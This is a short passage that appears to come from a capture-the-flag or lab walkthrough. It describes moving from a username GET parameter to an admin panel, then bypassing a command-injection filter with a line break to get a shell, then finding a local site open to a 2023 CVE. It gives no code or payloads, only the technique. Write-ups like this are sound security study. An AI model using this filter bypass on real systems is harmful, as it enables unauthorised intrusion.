If you look at the get parameters, you'll see username is one of them.

Logging in as this user reveals an admin panel where you can see the source of the application and also discover a command injection vulnerability that does filter many special characters that lead to code execution. However, a common missed character is the line break itself which will let you get onto the box and once here you discover another website is running on local host and is vulnerable to a 2023 CVE.
